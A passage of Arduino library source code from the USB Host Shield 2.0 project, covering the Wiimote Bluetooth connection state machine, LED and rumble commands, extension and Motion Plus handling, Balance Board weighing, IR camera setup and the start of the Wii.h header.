HID Interrupt Connection Request\"), 0x80);\n#endif\n                                identifier++;\n                                pBtd->l2cap_connection_request(hci_handle, identifier, interrupt_dcid, HID_INTR_PSM);\n                                l2cap_state = L2CAP_INTERRUPT_CONNECT_REQUEST;\n                        }\n                        break;\n\n                case L2CAP_INTERRUPT_CONNECT_REQUEST:\n                        if(l2cap_check_flag(L2CAP_FLAG_INTERRUPT_CONNECTED)) {\n#ifdef DEBUG_USB_HOST\n                                Notify(PSTR(\"\\r\\nSend HID Interrupt Config Request\"), 0x80);\n#endif\n                                identifier++;\n                                pBtd->l2cap_config_request(hci_handle, identifier, interrupt_scid);\n                                l2cap_state = L2CAP_INTERRUPT_CONFIG_REQUEST;\n                        }\n                        break;\n\n                case L2CAP_INTERRUPT_CONFIG_REQUEST:\n                        if(l2cap_check_flag(L2CAP_FLAG_CONFIG_INTERRUPT_SUCCESS)) { // Now the HID channels is established\n#ifdef DEBUG_USB_HOST\n                                Notify(PSTR(\"\\r\\nHID Channels Established\"), 0x80);\n#endif\n                                pBtd->connectToWii = false;\n                                pBtd->pairWithWii = false;\n                                stateCounter = 0;\n                                l2cap_state = WII_CHECK_MOTION_PLUS_STATE;\n                        }\n                        break;\n\n                        /* The next states are in run() */\n\n                case L2CAP_INTERRUPT_DISCONNECT:\n                        if(l2cap_check_flag(L2CAP_FLAG_DISCONNECT_INTERRUPT_RESPONSE) && ((int32_t)((uint32_t)millis() - timer) >= 0L)) {\n#ifdef DEBUG_USB_HOST\n                                Notify(PSTR(\"\\r\\nDisconnected Interrupt Channel\"), 0x80);\n#endif\n                                identifier++;\n                                pBtd->l2cap_disconnection_request(hci_handle, identifier, control_scid, control_dcid);\n                                l2cap_state = L2CAP_CONTROL_DISCONNECT;\n                        }\n                        break;\n\n                case L2CAP_CONTROL_DISCONNECT:\n                        if(l2cap_check_flag(L2CAP_FLAG_DISCONNECT_CONTROL_RESPONSE)) {\n#ifdef DEBUG_USB_HOST\n                                Notify(PSTR(\"\\r\\nDisconnected Control Channel\"), 0x80);\n#endif\n                                pBtd->hci_disconnect(hci_handle);\n                                hci_handle = -1; // Reset handle\n                                l2cap_event_flag = 0; // Reset flags\n                                l2cap_state = L2CAP_WAIT;\n                        }\n                        break;\n        }\n}\n\nvoid WII::Run() {\n        if(l2cap_state == L2CAP_INTERRUPT_DISCONNECT && ((int32_t)((uint32_t)millis() - timer) >= 0L))\n                L2CAP_task(); // Call the rest of the disconnection routine after we have waited long enough\n\n        switch(l2cap_state) {\n                case L2CAP_WAIT:\n                        if(pBtd->connectToWii && !pBtd->l2capConnectionClaimed && !wiimoteConnected && !activeConnection) {\n                                pBtd->l2capConnectionClaimed = true;\n                                activeConnection = true;\n                                motionPlusInside = pBtd->motionPlusInside;\n#ifdef DEBUG_USB_HOST\n                                Notify(PSTR(\"\\r\\nSend HID Control Connection Request\"), 0x80);\n#endif\n                                hci_handle = pBtd->hci_handle; // Store the HCI Handle for the connection\n                                l2cap_event_flag = 0; // Reset flags\n                                identifier = 0;\n                                pBtd->l2cap_connection_request(hci_handle, identifier, control_dcid, HID_CTRL_PSM);\n                                l2cap_state = L2CAP_CONTROL_CONNECT_REQUEST;\n                        } else if(l2cap_check_flag(L2CAP_FLAG_CONNECTION_CONTROL_REQUEST)) {\n#ifdef DEBUG_USB_HOST\n                                Notify(PSTR(\"\\r\\nHID Control Incoming Connection Request\"), 0x80);\n#endif\n                                pBtd->l2cap_connection_response(hci_handle, identifier, control_dcid, control_scid, PENDING);\n                                delay(1);\n                                pBtd->l2cap_connection_response(hci_handle, identifier, control_dcid, control_scid, SUCCESSFUL);\n                                identifier++;\n                                delay(1);\n                                pBtd->l2cap_config_request(hci_handle, identifier, control_scid);\n                                l2cap_state = L2CAP_CONTROL_SUCCESS;\n                        }\n                        break;\n\n                case WII_CHECK_MOTION_PLUS_STATE:\n#ifdef DEBUG_USB_HOST\n                        if(stateCounter == 0) // Only print onnce\n                                Notify(PSTR(\"\\r\\nChecking if a Motion Plus is connected\"), 0x80);\n#endif\n                        stateCounter++;\n                        if(stateCounter % 200 == 0)\n                                checkMotionPresent(); // Check if there is a motion plus connected\n                        if(wii_check_flag(WII_FLAG_MOTION_PLUS_CONNECTED)) {\n                                stateCounter = 0;\n                                l2cap_state = WII_INIT_MOTION_PLUS_STATE;\n                                timer = (uint32_t)micros();\n\n                                if(unknownExtensionConnected) {\n#ifdef DEBUG_USB_HOST\n                                        Notify(PSTR(\"\\r\\nA extension is also connected\"), 0x80);\n#endif\n                                        activateNunchuck = true; // For we will just set this to true as this the only extension supported so far\n                                }\n\n                        } else if(stateCounter == 601) { // We will try three times to check for the motion plus\n#ifdef DEBUG_USB_HOST\n                                Notify(PSTR(\"\\r\\nNo Motion Plus was detected\"), 0x80);\n#endif\n                                stateCounter = 0;\n                                l2cap_state = WII_CHECK_EXTENSION_STATE;\n                        }\n                        break;\n\n                case WII_CHECK_EXTENSION_STATE: // This is used to check if there is anything plugged in to the extension port\n#ifdef DEBUG_USB_HOST\n                        if(stateCounter == 0) // Only print onnce\n                                Notify(PSTR(\"\\r\\nChecking if there is any extension connected\"), 0x80);\n#endif\n                        stateCounter++; // We use this counter as there has to be a short delay between the commands\n                        if(stateCounter == 1)\n                                statusRequest(); // See if a new device has connected\n                        if(stateCounter == 100) {\n                                if(unknownExtensionConnected) // Check if there is a extension is connected to the port\n                                        initExtension1();\n                                else\n                                        stateCounter = 499;\n                        } else if(stateCounter == 200)\n                                initExtension2();\n                        else if(stateCounter == 300) {\n                                readExtensionType();\n                                unknownExtensionConnected = false;\n                        } else if(stateCounter == 400) {\n                                if(wii_check_flag(WII_FLAG_CALIBRATE_BALANCE_BOARD)) {\n#ifdef DEBUG_USB_HOST\n                                        Notify(PSTR(\"\\r\\nReading Wii Balance Board calibration values\"), 0x80);\n#endif\n                                        readWiiBalanceBoardCalibration();\n                                } else\n                                        stateCounter = 499;\n                        } else if(stateCounter == 500) {\n                                stateCounter = 0;\n                                l2cap_state = TURN_ON_LED;\n                        }\n                        break;\n\n                case WII_INIT_MOTION_PLUS_STATE:\n                        stateCounter++;\n                        if(stateCounter == 1)\n                                initMotionPlus();\n                        else if(stateCounter == 100)\n                                activateMotionPlus();\n                        else if(stateCounter == 200)\n                                readExtensionType(); // Check if it has been activated\n                        else if(stateCounter == 300) {\n                                stateCounter = 0;\n                                unknownExtensionConnected = false; // The motion plus will send a status report when it's activated, we will set this to false so it doesn't reinitialize the Motion Plus\n                                l2cap_state = TURN_ON_LED;\n                        }\n                        break;\n\n                case TURN_ON_LED:\n                        if(wii_check_flag(WII_FLAG_NUNCHUCK_CONNECTED))\n                                nunchuckConnected = true;\n                        wiimoteConnected = true;\n                        onInit();\n                        l2cap_state = L2CAP_DONE;\n                        break;\n\n                case L2CAP_DONE:\n                        if(unknownExtensionConnected) {\n#ifdef DEBUG_USB_HOST\n                                if(stateCounter == 0) // Only print once\n                                        Notify(PSTR(\"\\r\\nChecking extension port\"), 0x80);\n#endif\n                                stateCounter++; // We will use this counter as there has to be a short delay between the commands\n                                if(stateCounter == 50)\n                                        statusRequest();\n                                else if(stateCounter == 100)\n                                        initExtension1();\n                                else if(stateCounter == 150)\n                                        if((extensionConnected && motionPlusConnected) || (unknownExtensionConnected && !motionPlusConnected))\n                                                initExtension2();\n                                        else\n                                                stateCounter = 299; // There is no extension connected\n                                else if(stateCounter == 200)\n                                        readExtensionType();\n                                else if(stateCounter == 250) {\n                                        if(wii_check_flag(WII_FLAG_NUNCHUCK_CONNECTED)) {\n#ifdef DEBUG_USB_HOST\n                                                Notify(PSTR(\"\\r\\nNunchuck was reconnected\"), 0x80);\n#endif\n                                                activateNunchuck = true;\n                                                nunchuckConnected = true;\n                                        }\n                                        if(!motionPlusConnected)\n                                                stateCounter = 449;\n                                } else if(stateCounter == 300) {\n                                        if(motionPlusConnected) {\n#ifdef DEBUG_USB_HOST\n                                                Notify(PSTR(\"\\r\\nReactivating the Motion Plus\"), 0x80);\n#endif\n                                                initMotionPlus();\n                                        } else\n                                                stateCounter = 449;\n                                } else if(stateCounter == 350)\n                                        activateMotionPlus();\n                                else if(stateCounter == 400)\n                                        readExtensionType(); // Check if it has been activated\n                                else if(stateCounter == 450) {\n                                        onInit();\n                                        stateCounter = 0;\n                                        unknownExtensionConnected = false;\n                                }\n                        } else\n                                stateCounter = 0;\n                        break;\n        }\n}\n\n/************************************************************/\n/*                    HID Commands                          */\n/************************************************************/\n\nvoid WII::HID_Command(uint8_t* data, uint8_t nbytes) {\n        if(motionPlusInside)\n                pBtd->L2CAP_Command(hci_handle, data, nbytes, interrupt_scid[0], interrupt_scid[1]); // It's the new Wiimote with the Motion Plus Inside or Wii U Pro controller\n        else\n                pBtd->L2CAP_Command(hci_handle, data, nbytes, control_scid[0], control_scid[1]);\n}\n\nvoid WII::setAllOff() {\n        HIDBuffer[1] = 0x11;\n        HIDBuffer[2] = 0x00;\n        HID_Command(HIDBuffer, 3);\n}\n\nvoid WII::setRumbleOff() {\n        HIDBuffer[1] = 0x11;\n        HIDBuffer[2] &= ~0x01; // Bit 0 control the rumble\n        HID_Command(HIDBuffer, 3);\n}\n\nvoid WII::setRumbleOn() {\n        HIDBuffer[1] = 0x11;\n        HIDBuffer[2] |= 0x01; // Bit 0 control the rumble\n        HID_Command(HIDBuffer, 3);\n}\n\nvoid WII::setRumbleToggle() {\n        HIDBuffer[1] = 0x11;\n        HIDBuffer[2] ^= 0x01; // Bit 0 control the rumble\n        HID_Command(HIDBuffer, 3);\n}\n\nvoid WII::setLedRaw(uint8_t value) {\n        HIDBuffer[1] = 0x11;\n        HIDBuffer[2] = value | (HIDBuffer[2] & 0x01); // Keep the rumble bit\n        HID_Command(HIDBuffer, 3);\n}\n\nvoid WII::setLedOff(LEDEnum a) {\n        HIDBuffer[1] = 0x11;\n        HIDBuffer[2] &= ~(pgm_read_byte(&WII_LEDS[(uint8_t)a]));\n        HID_Command(HIDBuffer, 3);\n}\n\nvoid WII::setLedOn(LEDEnum a) {\n        if(a == OFF)\n                setLedRaw(0);\n        else {\n                HIDBuffer[1] = 0x11;\n                HIDBuffer[2] |= pgm_read_byte(&WII_LEDS[(uint8_t)a]);\n                HID_Command(HIDBuffer, 3);\n        }\n}\n\nvoid WII::setLedToggle(LEDEnum a) {\n        HIDBuffer[1] = 0x11;\n        HIDBuffer[2] ^= pgm_read_byte(&WII_LEDS[(uint8_t)a]);\n        HID_Command(HIDBuffer, 3);\n}\n\nvoid WII::setLedStatus() {\n        HIDBuffer[1] = 0x11;\n        HIDBuffer[2] = (HIDBuffer[2] & 0x01); // Keep the rumble bit\n        if(wiimoteConnected)\n                HIDBuffer[2] |= 0x10; // If it's connected LED1 will light up\n        if(motionPlusConnected)\n                HIDBuffer[2] |= 0x20; // If it's connected LED2 will light up\n        if(nunchuckConnected)\n                HIDBuffer[2] |= 0x40; // If it's connected LED3 will light up\n\n        HID_Command(HIDBuffer, 3);\n}\n\nuint8_t WII::getBatteryLevel() {\n        checkBatteryLevel = true; // This is needed so the library knows that the status response is a response to this function\n        statusRequest(); // This will update the battery level\n        return batteryLevel;\n};\n\nvoid WII::setReportMode(bool continuous, uint8_t mode) {\n#ifdef EXTRADEBUG\n        Notify(PSTR(\"\\r\\nReport mode was changed to: \"), 0x80);\n        D_PrintHex<uint8_t > (mode, 0x80);\n#endif\n        uint8_t cmd_buf[4];\n        cmd_buf[0] = 0xA2; // HID BT DATA_request (0xA0) | Report Type (Output 0x02)\n        cmd_buf[1] = 0x12;\n        if(continuous)\n                cmd_buf[2] = 0x04 | (HIDBuffer[2] & 0x01); // Keep the rumble bit\n        else\n                cmd_buf[2] = 0x00 | (HIDBuffer[2] & 0x01); // Keep the rumble bit\n        cmd_buf[3] = mode;\n        HID_Command(cmd_buf, 4);\n}\n\nvoid WII::statusRequest() {\n        uint8_t cmd_buf[3];\n        cmd_buf[0] = 0xA2; // HID BT DATA_request (0xA0) | Report Type (Output 0x02)\n        cmd_buf[1] = 0x15;\n        cmd_buf[2] = (HIDBuffer[2] & 0x01); // Keep the rumble bit\n        HID_Command(cmd_buf, 3);\n}\n\n/************************************************************/\n/*                    Memmory Commands                      */\n/************************************************************/\n\nvoid WII::writeData(uint32_t offset, uint8_t size, uint8_t* data) {\n        uint8_t cmd_buf[23];\n        cmd_buf[0] = 0xA2; // HID BT DATA_request (0xA0) | Report Type (Output 0x02)\n        cmd_buf[1] = 0x16; // Write data\n        cmd_buf[2] = 0x04 | (HIDBuffer[2] & 0x01); // Write to memory, clear bit 2 to write to EEPROM\n        cmd_buf[3] = (uint8_t)((offset & 0xFF0000) >> 16);\n        cmd_buf[4] = (uint8_t)((offset & 0xFF00) >> 8);\n        cmd_buf[5] = (uint8_t)(offset & 0xFF);\n        cmd_buf[6] = size;\n        uint8_t i = 0;\n        for(; i < size; i++)\n                cmd_buf[7 + i] = data[i];\n        for(; i < 16; i++) // Set the rest to zero\n                cmd_buf[7 + i] = 0x00;\n        HID_Command(cmd_buf, 23);\n}\n\nvoid WII::initExtension1() {\n        uint8_t buf[1];\n        buf[0] = 0x55;\n        writeData(0xA400F0, 1, buf);\n}\n\nvoid WII::initExtension2() {\n        uint8_t buf[1];\n        buf[0] = 0x00;\n        writeData(0xA400FB, 1, buf);\n}\n\nvoid WII::initMotionPlus() {\n        uint8_t buf[1];\n        buf[0] = 0x55;\n        writeData(0xA600F0, 1, buf);\n}\n\nvoid WII::activateMotionPlus() {\n        uint8_t buf[1];\n        if(pBtd->wiiUProController) {\n#ifdef DEBUG_USB_HOST\n                Notify(PSTR(\"\\r\\nActivating Wii U Pro Controller\"), 0x80);\n#endif\n                buf[0] = 0x00; // It seems like you can send anything but 0x04, 0x05, and 0x07\n        } else if(activateNunchuck) {\n#ifdef DEBUG_USB_HOST\n                Notify(PSTR(\"\\r\\nActivating Motion Plus in pass-through mode\"), 0x80);\n#endif\n                buf[0] = 0x05; // Activate nunchuck pass-through mode\n        }//else if(classicControllerConnected && extensionConnected)\n                //buf[0] = 0x07;\n        else {\n#ifdef DEBUG_USB_HOST\n                Notify(PSTR(\"\\r\\nActivating Motion Plus in normal mode\"), 0x80);\n#endif\n                buf[0] = 0x04; // Don't use any extension\n        }\n        writeData(0xA600FE, 1, buf);\n}\n\nvoid WII::readData(uint32_t offset, uint16_t size, bool EEPROM) {\n        uint8_t cmd_buf[8];\n        cmd_buf[0] = 0xA2; // HID BT DATA_request (0xA0) | Report Type (Output 0x02)\n        cmd_buf[1] = 0x17; // Read data\n        if(EEPROM)\n                cmd_buf[2] = 0x00 | (HIDBuffer[2] & 0x01); // Read from EEPROM\n        else\n                cmd_buf[2] = 0x04 | (HIDBuffer[2] & 0x01); // Read from memory\n        cmd_buf[3] = (uint8_t)((offset & 0xFF0000) >> 16);\n        cmd_buf[4] = (uint8_t)((offset & 0xFF00) >> 8);\n        cmd_buf[5] = (uint8_t)(offset & 0xFF);\n        cmd_buf[6] = (uint8_t)((size & 0xFF00) >> 8);\n        cmd_buf[7] = (uint8_t)(size & 0xFF);\n\n        HID_Command(cmd_buf, 8);\n}\n\nvoid WII::readExtensionType() {\n        readData(0xA400FA, 6, false);\n}\n\nvoid WII::readCalData() {\n        readData(0x0016, 8, true);\n}\n\nvoid WII::checkMotionPresent() {\n        readData(0xA600FA, 6, false);\n}\n\nvoid WII::readWiiBalanceBoardCalibration() {\n        readData(0xA40024, 24, false);\n}\n\n/************************************************************/\n/*                    WII Commands                          */\n/************************************************************/\n\nbool WII::getButtonPress(ButtonEnum b) { // Return true when a button is pressed\n        if(wiiUProControllerConnected)\n                return (ButtonState & pgm_read_dword(&WII_PROCONTROLLER_BUTTONS[(uint8_t)b]));\n        else\n                return (ButtonState & pgm_read_dword(&WII_BUTTONS[(uint8_t)b]));\n}\n\nbool WII::getButtonClick(ButtonEnum b) { // Only return true when a button is clicked\n        uint32_t button;\n        if(wiiUProControllerConnected)\n                button = pgm_read_dword(&WII_PROCONTROLLER_BUTTONS[(uint8_t)b]);\n        else\n                button = pgm_read_dword(&WII_BUTTONS[(uint8_t)b]);\n        bool click = (ButtonClickState & button);\n        ButtonClickState &= ~button; // clear \"click\" event\n        return click;\n}\n\nuint8_t WII::getAnalogHat(HatEnum a) {\n        if(!nunchuckConnected)\n                return 127; // Return center position\n        else {\n                uint8_t output = hatValues[(uint8_t)a];\n                if(output == 0xFF || output == 0x00) // The joystick will only read 255 or 0 when the cable is unplugged or initializing, so we will just return the center position\n                        return 127;\n                else\n                        return output;\n        }\n}\n\nuint16_t WII::getAnalogHat(AnalogHatEnum a) {\n        if(!wiiUProControllerConnected)\n                return 2000;\n        else {\n                uint16_t output = hatValues[(uint8_t)a];\n                if(output == 0x00) // The joystick will only read 0 when it is first initializing, so we will just return the center position\n                        return 2000;\n                else\n                        return output;\n        }\n}\n\nvoid WII::onInit() {\n        if(pFuncOnInit)\n                pFuncOnInit(); // Call the user function\n        else\n                setLedStatus();\n}\n\n/************************************************************/\n/*                 Wii Balance Board Commands               */\n/************************************************************/\n\nfloat WII::getWeight(BalanceBoardEnum pos) {\n        // Use interpolating between two points - based on: https://github.com/skorokithakis/gr8w8upd8m8/blob/master/gr8w8upd8m8.py\n        // wiiBalanceBoardCal[pos][0] is calibration values for 0 kg\n        // wiiBalanceBoardCal[pos][1] is calibration values for 17 kg\n        // wiiBalanceBoardCal[pos][2] is calibration values for 34 kg\n        if(wiiBalanceBoardRaw[pos] < wiiBalanceBoardCal[0][pos])\n            return 0.0f; // Below 0 kg\n        else if(wiiBalanceBoardRaw[pos] < wiiBalanceBoardCal[1][pos]) // Between 0 and 17 kg\n            return 17.0f * (float)(wiiBalanceBoardRaw[pos] - wiiBalanceBoardCal[0][pos]) / (float)(wiiBalanceBoardCal[1][pos] - wiiBalanceBoardCal[0][pos]);\n        else // More than 17 kg\n            return 17.0f + 17.0f * (float)(wiiBalanceBoardRaw[pos] - wiiBalanceBoardCal[1][pos]) / (float)(wiiBalanceBoardCal[2][pos] - wiiBalanceBoardCal[1][pos]);\n};\n\nfloat WII::getTotalWeight() {\n        return getWeight(TopRight) + getWeight(BotRight) + getWeight(TopLeft) + getWeight(BotLeft);\n};\n\n/************************************************************/\n/*       The following functions are for the IR camera      */\n/************************************************************/\n\n#ifdef WIICAMERA\n\nvoid WII::IRinitialize() { // Turns on and initialises the IR camera\n\n        enableIRCamera1();\n#ifdef DEBUG_USB_HOST\n        Notify(PSTR(\"\\r\\nEnable IR Camera1 Complete\"), 0x80);\n#endif\n        delay(80);\n\n        enableIRCamera2();\n#ifdef DEBUG_USB_HOST\n        Notify(PSTR(\"\\r\\nEnable IR Camera2 Complete\"), 0x80);\n#endif\n        delay(80);\n\n        write0x08Value();\n#ifdef DEBUG_USB_HOST\n        Notify(PSTR(\"\\r\\nWrote hex number 0x08\"), 0x80);\n#endif\n        delay(80);\n\n        writeSensitivityBlock1();\n#ifdef DEBUG_USB_HOST\n        Notify(PSTR(\"\\r\\nWrote Sensitivity Block 1\"), 0x80);\n#endif\n        delay(80);\n\n        writeSensitivityBlock2();\n#ifdef DEBUG_USB_HOST\n        Notify(PSTR(\"\\r\\nWrote Sensitivity Block 2\"), 0x80);\n#endif\n        delay(80);\n\n        uint8_t mode_num = 0x03;\n        setWiiModeNumber(mode_num); // Change input for whatever mode you want i.e. 0x01, 0x03, or 0x05\n#ifdef DEBUG_USB_HOST\n        Notify(PSTR(\"\\r\\nSet Wii Mode Number To 0x\"), 0x80);\n        D_PrintHex<uint8_t > (mode_num, 0x80);\n#endif\n        delay(80);\n\n        write0x08Value();\n#ifdef DEBUG_USB_HOST\n        Notify(PSTR(\"\\r\\nWrote Hex Number 0x08\"), 0x80);\n#endif\n        delay(80);\n\n        setReportMode(false, 0x33);\n        //setReportMode(false, 0x3f); // For full reporting mode, doesn't work yet\n#ifdef DEBUG_USB_HOST\n        Notify(PSTR(\"\\r\\nSet Report Mode to 0x33\"), 0x80);\n#endif\n        delay(80);\n\n        statusRequest(); // Used to update wiiState - call isIRCameraEnabled() afterwards to check if it actually worked\n#ifdef DEBUG_USB_HOST\n        Notify(PSTR(\"\\r\\nIR Initialized\"), 0x80);\n#endif\n}\n\nvoid WII::enableIRCamera1() {\n        uint8_t cmd_buf[3];\n        cmd_buf[0] = 0xA2; // HID BT DATA_request (0xA0) | Report Type (Output 0x02)\n        cmd_buf[1] = 0x13; // Output report 13\n        cmd_buf[2] = 0x04 | (HIDBuffer[2] & 0x01); // Keep the rumble bit and sets bit 2\n        HID_Command(cmd_buf, 3);\n}\n\nvoid WII::enableIRCamera2() {\n        uint8_t cmd_buf[3];\n        cmd_buf[0] = 0xA2; // HID BT DATA_request (0xA0) | Report Type (Output 0x02)\n        cmd_buf[1] = 0x1A; // Output report 1A\n        cmd_buf[2] = 0x04 | (HIDBuffer[2] & 0x01); // Keep the rumble bit and sets bit 2\n        HID_Command(cmd_buf, 3);\n}\n\nvoid WII::writeSensitivityBlock1() {\n        uint8_t buf[9];\n        buf[0] = 0x00;\n        buf[1] = 0x00;\n        buf[2] = 0x00;\n        buf[3] = 0x00;\n        buf[4] = 0x00;\n        buf[5] = 0x00;\n        buf[6] = 0x90;\n        buf[7] = 0x00;\n        buf[8] = 0x41;\n\n        writeData(0xB00000, 9, buf);\n}\n\nvoid WII::writeSensitivityBlock2() {\n        uint8_t buf[2];\n        buf[0] = 0x40;\n        buf[1] = 0x00;\n\n        writeData(0xB0001A, 2, buf);\n}\n\nvoid WII::write0x08Value() {\n        uint8_t cmd = 0x08;\n        writeData(0xb00030, 1, &cmd);\n}\n\nvoid WII::setWiiModeNumber(uint8_t mode_number) { // mode_number in hex i.e. 0x03 for extended mode\n        writeData(0xb00033, 1, &mode_number);\n}\n#endif\n"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/Wii.h",
    "content": "/* Copyright (C) 2012 Kristian Lauszus, TKJ Electronics. All rights reserved.\n\n This software may be distributed and modified under the terms of the GNU\n General Public License version 2 (GPL2) as published by the Free Software\n Foundation and appearing in the file GPL2.TXT included in the packaging of\n this file. Please note that GPL2 Section 2[b] requires that all works based\n on this software must also be made publicly available under the terms of\n the GPL2 (\"Copyleft\").\n\n Contact information\n -------------------\n\n Kristian Lauszus, TKJ Electronics\n Web      :  http://www.tkjelectronics.com\n e-mail   :  kristianl@tkjelectronics.com\n\n IR camera support added by Allan Glover (adglover9.81@gmail.com) and Kristian Lauszus\n */\n\n#ifndef _wii_h_\n#define _wii_h_\n\n#include \"BTD.h\"\n#include \"controllerEnums.h\"\n\n/* Wii event flags */\n#define WII_FLAG_MOTION_PLUS_CONNECTED          (1 << 0)\n#define WII_FLAG_NUNCHUCK_CONNECTED             (1 << 1)\n#define WII_FLAG_CALIBRATE_BALANCE_BOARD        (1 << 2)\n\n#define wii_check_flag(flag)  (wii_event_flag & (flag))\n#define wii_set_flag(flag)  (wii_event_flag |= (flag))\n#define wii_clear_flag(flag)  (wii_event_flag &= ~(flag))\n\n/** Enum used to read the joystick on the Nunchuck. */\nenum HatEnum {\n        /** Read the x-axis on the Nunchuck joystick. */\n        HatX = 0,\n        /** Read the y-axis on the Nunchuck joystick. */\n        HatY = 1,\n};\n\n/** Enum used to read the weight on Wii Balance Board. */\nenum BalanceBoardEnum {\n        TopRight = 0,\n        BotRight = 1,\n        TopLeft = 2,\n        BotLeft = 3,\n};\n\n/**\n * This BluetoothService class implements support for the Wiimote including the Nunchuck and Motion Plus extension.\n *\n * It also support the Wii U Pro Controller.\n */\nclass WII : public BluetoothService {\npublic:\n        /**\n         * Constructor for the WII class.\n         * @param  p   Pointer to BTD class instance.\n         * @param  pair   Set this to true in order to pair with the Wiimote. If the argument is omitted then it won't pair with it.\n         * One can use ::PAIR to set it to true.\n         */\n        WII(BTD *p, bool pair = false);\n\n        /** @name BluetoothService implementation */\n        /** Used this to disconnect any of the controllers. */\n        void disconnect();\n        /**@}*/\n\n        /** @name Wii Controller functions */\n        /**\n         * getButtonPress(Button b) will return true as long as the button is held down.\n         *\n         * While getButtonClick(Button b) will only return it once.\n         *\n         * So you instance if you need to increase a variable once you would use getButtonClick(Button b),\n         * but if you need to drive a robot forward you would use getButtonPress(Button b).\n         * @param  b          ::ButtonEnum to read.\n         * @return            getButtonPress(ButtonEnum b) will return a true as long as a button is held down, while getButtonClick(ButtonEnum b) will return true once for each button press.\n         */\n        bool getButtonPress(ButtonEnum b);\n        bool getButtonClick(ButtonEnum b);\n        /**@}*/\n\n        /** @name Wii Controller functions */\n\n        /** Call this to start the pairing sequence with a controller */\n        void pair(void) {\n                if(pBtd)\n                        pBtd->pairWithWiimote();\n        };\n        /**\n         * Used to read the joystick of the Nunchuck.\n         * @param  a Either ::HatX or ::HatY.\n         * @return   Return the analog value in the range from approximately 25-230.\n         */\n        uint8_t getAnalogHat(HatEnum a);\n        /**\n         * Used to read the joystick of the Wii U Pro Controller.\n         * @param  a Either ::LeftHatX, ::LeftHatY, ::RightHatX or ::RightHatY.\n         * @return   Return the analog value in the range from approximately 800-3200.\n         */\n        uint16_t getAnalogHat(AnalogHatEnum a);\n\n        /**\n         * Pitch calculated from the Wiimote. A complimentary filter is used if the Motion Plus is connected.\n         * @return Pitch in the range from 0-360.\n         */\n        float getPitch() {\n                if(motionPlusConnected)\n                        return compPitch;\n                return getWiimotePitch();\n        };\n\n        /**\n         * Roll calculated from the Wiimote. A complimentary filter is used if the Motion Plus is connected.\n         * @return Roll in the range from 0-360.\n         */\n        float getRoll() {\n                if(motionPlusConnected)\n                        return compRoll;\n                return getWiimoteRoll();\n        };\n\n        /**\n         * This is the yaw calculated by the gyro.\n         *\n         * <B>NOTE:</B> This angle will drift a lot and is only available if the Motion Plus extension is connected.\n         * @return The angle calculated using the gyro.\n         */\n        float getYaw() {\n                return gyroYaw;\n        };\n\n        /** Used to set all LEDs and rumble off. */\n        void setAllOff();\n        /** Turn off rumble. */\n        void setRumbleOff();\n        /** Turn on rumble. */\n        void setRumbleOn();\n        /** Toggle rumble. */\n        void setRumbleToggle();\n\n        /**\n         * Set LED value without using the ::LEDEnum.\n         * @param value See: ::LEDEnum.\n         */\n        void setLedRaw(uint8_t value);\n\n        /** Turn all LEDs off. */\n        void setLedOff() {\n                setLedRaw(0);\n        };\n        /**\n         * Turn the specific ::LEDEnum off.\n         * @param a The ::LEDEnum to turn off.\n         */\n        void setLedOff(LEDEnum a);\n        /**\n         * Turn the specific ::LEDEnum on.\n         * @param a The ::LEDEnum to turn on.\n         */\n        void setLedOn(LEDEnum a);\n        /**\n         * Toggle the specific ::LEDEnum.\n         * @param a The ::LEDEnum to toggle.\n         */\n        void setLedToggle(LEDEnum a);\n        /**\n         * This will set the LEDs, so the user can see which connections are active.\n         *\n         * The first ::LEDEnum indicate that the Wiimote is connected,\n         * the second ::LEDEnum indicate indicate that a Motion Plus is also connected\n         * the third ::LEDEnum will indicate that a Nunchuck controller is also connected.\n         */\n        void setLedStatus();\n\n        /**\n         * Return the battery level of the Wiimote.\n         * @return The battery level in the range 0-255.\n         */\n        uint8_t getBatteryLevel();\n\n        /**\n         * Return the Wiimote state.\n         * @return See: http://wiibrew.org/wiki/Wiimote#0x20:_Status.\n         */\n        uint8_t getWiiState() {\n                return wiiState;\n        };\n        /**@}*/\n\n        /**@{*/\n        /** Variable used to indicate if a Wiimote is connected. */\n        bool wiimoteConnected;\n        /** Variable used to indicate if a Nunchuck controller is connected. */\n        bool nunchuckConnected;\n        /** Variable used to indicate if a Nunchuck controller is connected. */\n        bool motionPlusConnected;\n        /** Variable used to indicate if a Wii U Pro controller is connected. */\n        bool wiiUProControllerConnected;\n        /** Variable used to indicate if a Wii Balance Board is connected. */\n        bool wiiBalanceBoardConnected;\n        /**@}*/\n\n        /* IMU Data, might be usefull if you need to do something more advanced than just calculating the angle */\n\n        /**@{*/\n\n        /** Pitch and roll calculated from the accelerometer inside the Wiimote. */\n        float getWiimotePitch() {\n                return (atan2f(accYwiimote, accZwiimote) + PI) * RAD_TO_DEG;\n        };\n\n        float getWiimoteRoll() {\n                return (atan2f(accXwiimote, accZwiimote) + PI) * RAD_TO_DEG;\n        };\n        /**@}*/\n\n        /**@{*/\n\n        /** Pitch and roll calculated from the accelerometer inside the Nunchuck. */\n        float getNunchuckPitch() {\n                return (atan2f(accYnunchuck, accZnunchuck) + PI) * RAD_TO_DEG;\n        };\n\n        float getNunchuckRoll() {\n                return (atan2f(accXnunchuck, accZnunchuck) + PI) * RAD_TO_DEG;\n        };\n        /**@}*/\n\n        /**@{*/\n        /** Accelerometer values used to calculate pitch and roll. */\n        int16_t accXwiimote, accYwiimote, accZwiimote;\n        int16_t accXnunchuck, accYnunchuck, accZnunchuck;\n        /**@}*/\n\n        /* Variables for the gyro inside the Motion Plus */\n        /** This is the pitch calculated by the gyro - use this to tune WII#pitchGyroScale. */\n        float gyroPitch;\n        /** This is the roll calculated by the gyro - use this to tune WII#rollGyroScale. */\n        float gyroRoll;\n        /** This is the yaw calculated by the gyro - use this to tune WII#yawGyroScale. */\n        float gyroYaw;\n\n        /**@{*/\n        /** The speed in deg/s from the gyro. */\n        float pitchGyroSpeed;\n        float rollGyroSpeed;\n        float yawGyroSpeed;\n        /**@}*/\n\n        /**@{*/\n        /** You might need to fine-tune these values. */\n        uint16_t pitchGyroScale;\n        uint16_t rollGyroScale;\n        uint16_t yawGyroScale;\n        /**@}*/\n\n        /**@{*/\n        /** Raw value read directly from the Motion Plus. */\n        int16_t gyroYawRaw;\n        int16_t gyroRollRaw;\n        int16_t gyroPitchRaw;\n        /**@}*/\n\n        /**@{*/\n        /** These values are set when the controller is first initialized. */\n        int16_t gyroYawZero;\n        int16_t gyroRollZero;\n        int16_t gyroPitchZero;\n        /**@}*/\n\n        /** @name 